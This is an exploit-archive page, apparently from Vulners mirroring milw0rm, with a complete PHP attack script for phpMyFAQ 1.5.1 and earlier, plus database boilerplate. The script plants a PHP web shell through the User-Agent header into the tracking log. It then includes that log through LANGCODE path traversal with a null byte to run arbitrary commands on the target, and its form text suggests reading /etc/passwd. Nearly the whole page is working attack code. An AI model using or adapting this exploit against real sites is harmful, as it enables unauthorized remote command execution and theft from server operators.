Lucene search
K

phpMyFAQ <= 1.5.1 (User-Agent) Remote Shell Injection Exploit

🗓️ 23 Sep 2005 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

phpMyFAQ <= 1.5.1 Remote Shell Injection Exploi

Code

                                                &lt;?php
#   17.34 22/09/2005                                                           #
#                                                                              #
#   phpmyfaq_xpl.php                                                           #
#                                                                              #
#   PhpMyFaq 1.5.1 ( possibly prior versions) shell inject                     #
#                                                                              #
#                                by rgod                                       #
#                      site: http://rgod.altervista.org                        #
#                                                                              #
#   make these changes in your php.ini if you have troubles                    #
#   to launch this script:                                                     #
#   allow_call_time_pass_reference = on                                        #
#   register_globals = on                                                      #
#                                                                              #
#   usage: launch this script from Apache, fill requested fields, then         #
#   if magic_quotes_gpc is off, boom! you launch commands...                   #
#                                                                              #
#   Sun-tzu: &quot;When in difficult country, do not encamp. In country where high  #
#   roads intersect, join hands with your allies. Do not linger in dangerously #
#   isolated positions. In hemmed-in situations, you must resort to stratagem. #
#   In desperate position, you must fight.&quot;                                    #

error_reporting(0);
ini_set(&quot;max_execution_time&quot;,0);
ini_set(&quot;default_socket_timeout&quot;, 2);
ob_implicit_flush (1);

echo'&lt;head&gt; &lt;title&gt; PhpMyFAQ 1.5.1  remote  commands  execution  &lt;/title&gt; &lt;meta
http-equiv=&quot;Content-Type&quot;  content=&quot;text/html; charset=iso-8859-1&quot;&gt; &lt;style type=
&quot;text/css&quot;&gt; &lt;!-- body,td,th {color:  #00FF00;} body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:  bold;
font-style: italic; } --&gt; &lt;/style&gt;&lt;/head&gt; &lt;body&gt; &lt;p class=&quot;Stile6&quot;&gt;     PhpMyFAQ
V  1.5.1 (possibly prior versions) remote commands execution  &lt;/p&gt;&lt;p class=&quot;Stil
e6&quot;&gt;a script by rgod at &lt;a href=&quot;http://rgod.altervista.org&quot;    target=&quot;_blank&quot;&gt;
http://rgod.altervista.org&lt;/a&gt;&lt;/p&gt;&lt;table width=&quot;84%&quot;&gt;&lt;tr&gt;&lt;td width=&quot;43%&quot;&gt; &lt;form
name=&quot;form1&quot;      method=&quot;post&quot;   action=&quot;'.$SERVER[PHP_SELF].'?path=value&amp;host=
value&amp;port=value&amp;command=value&amp;proxy=value&quot;&gt;&lt;p&gt;&lt;input type=&quot;text&quot;   name=&quot;host&quot;&gt;
&lt;span class=&quot;Stile5&quot;&gt;  hostname  (ex: www.sitename.com)  &lt;/span&gt;  &lt;/p&gt; &lt;p&gt;&lt;input
type=&quot;text&quot; name=&quot;path&quot;&gt;&lt;span class=&quot;Stile5&quot;&gt;  path ( ex:  /phpmyfaq/ or just /)
&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;input type=&quot;text&quot;   name=&quot;port&quot; &gt;   &lt;span class=&quot;Stile5&quot;&gt; specify
a port other than 80 (default value)  &lt;/span&gt;&lt;/p&gt;&lt;p&gt; &lt;input  type=&quot;text&quot;   name=
&quot;command&quot;&gt; &lt;span  class=&quot;Stile5&quot;&gt; a  Unix  command  ,  example:  ls -la  to list
directories, cat /etc/passwd to show passwd file &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;input type=&quot;text
&quot; name=&quot;proxy&quot;&gt; &lt;span class=&quot;Stile5&quot;&gt; send exploit through an HTTP proxy (ip:por
t&lt;/span&gt;&lt;/p&gt; &lt;p&gt; &lt;input  type=&quot;submit&quot;name=&quot;Submit&quot; value=&quot;go!&quot;&gt;&lt;/p&gt;&lt;/form&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;/table&gt;&lt;/body&gt;&lt;/html&gt;';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '&lt;table border=&quot;0&quot;&gt;&lt;tr&gt;';
while ($ii &lt;= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo &quot;&lt;td&gt;&amp;nbsp;&amp;nbsp;&lt;/td&gt;&quot;;
             for ($li=0; $li&lt;=15; $li++)
                      { echo &quot;&lt;td&gt;&quot;.$headeri[$li+$ki].&quot;&lt;/td&gt;&quot;;
			    }
            $ki=$ki+16;
            echo &quot;&lt;/tr&gt;&lt;tr&gt;&quot;;
            }
if (strlen($datai)==1) {echo &quot;&lt;td&gt;0&quot;.$datai.&quot;&lt;/td&gt;&quot;;} else
{echo &quot;&lt;td&gt;&quot;.$datai.&quot;&lt;/td&gt; &quot;;}
$ii++;
$ji++;
}
for ($li=1; $li&lt;=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo &quot;&lt;td&gt;&amp;nbsp&amp;nbsp&lt;/td&gt;&quot;;
                       }

for ($li=$ci*16; $li&lt;=strlen($headeri); $li++)
                      { echo &quot;&lt;td&gt;&quot;.$headeri[$li].&quot;&lt;/td&gt;&quot;;
			    }
echo &quot;&lt;/tr&gt;&lt;/table&gt;&quot;;
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
           {$ock=fsockopen(gethostbyname($host),$port);}
             else
           {
	    if (!eregi($proxy_regex,$proxy))
	    {echo htmlentities($proxy).' -&gt; not a valid proxy...';
	     die;
	    }
	   $parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...&lt;br&gt;';
	    $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo 'No response from proxy...';
			die;
		       }
	   }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

if (($path&lt;&gt;'') and ($host&lt;&gt;'') and ($command&lt;&gt;''))
{
  if ($port=='') {$port=80;}

# STEP 1 -&gt; Shell Inject...
if ($proxy=='')
{$packet=&quot;GET &quot;.$path.&quot;index.php?sid=49493&amp;lang=it&amp;action=ask HTTP/1.0 \r\n&quot;;}
else
{$packet=&quot;GET http://&quot;.$host.$path.&quot;index.php?sid=49493&amp;lang=it&amp;action=ask HTTP/1.0 \r\n&quot;;}

$packet.='User-Agent: &lt;?php system($HTTP_GET_VARS[cmd]) ?&gt;&lt;?php die ?&gt;'.&quot;\r\n&quot;;
//you cannot insert &quot;;&quot; because it is stripped, so insert more statements
//if you change the shell, keep attemption to php syntax, if you make an error,
//you cannot lauch commands till tomorrow, I am not joking ;)

$packet.=&quot;Accept-Language: pl\r\n&quot;;
$packet.=&quot;Referer: http://&quot;.$host.$path.&quot;\r\n&quot;;
$packet.=&quot;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n&quot;;
$packet.=&quot;Accept-Encoding: gzip,deflate\r\n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;\r\n\r\n&quot;;
$packet.=&quot;Connection: Close\r\n&quot;;
$packet.=&quot;Cookie: lang=it; sid=49493\r\n&quot;;
show($packet);
sendpacket($packet);

# STEP 2 -&gt; Include the log file and launch commands...
if ($proxy=='')
{$packet=&quot;GET &quot;.$path.&quot;index.php?cmd=&quot;.urlencode($command).&quot;&amp;LANGCODE=/../../data/tracking&quot;.date(&quot;dmY&quot;).&quot;%00 HTTP/1.0 \r\n&quot;;}
else
{$packet=&quot;GET http://&quot;.$host.$path.&quot;index.php?cmd=&quot;.urlencode($command).&quot;&amp;LANGCODE=/../../data/tracking&quot;.date(&quot;dmY&quot;).&quot;%00 HTTP/1.0 \r\n&quot;;}
$packet.='User-Agent: Mozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.2 (like Gecko)'.&quot;\r\n&quot;;
$packet.=&quot;Accept-Language: fr\r\n&quot;;
$packet.=&quot;Referer: http://&quot;.$host.$path.&quot;\r\n&quot;;
$packet.=&quot;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n&quot;;
$packet.=&quot;Accept-Encoding: gzip,deflate\r\n&quot;;
$packet.=&quot;Host: &quot;.$host.&quot;\r\n\r\n&quot;;
$packet.=&quot;Connection: Close\r\n&quot;;
$packet.=&quot;Cookie: lang=it; sid=49493\r\n&quot;;
show($packet);
sendpacket($packet);
}
else
{
echo '&lt;br&gt;fill in requested fields, optionally specify a proxy...&lt;br&gt;&lt;br&gt;';
}
?&gt;

# milw0rm.com [2005-09-23]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Sep 2005 00:00Current
7.1High risk
Vulners AI Score7.1
14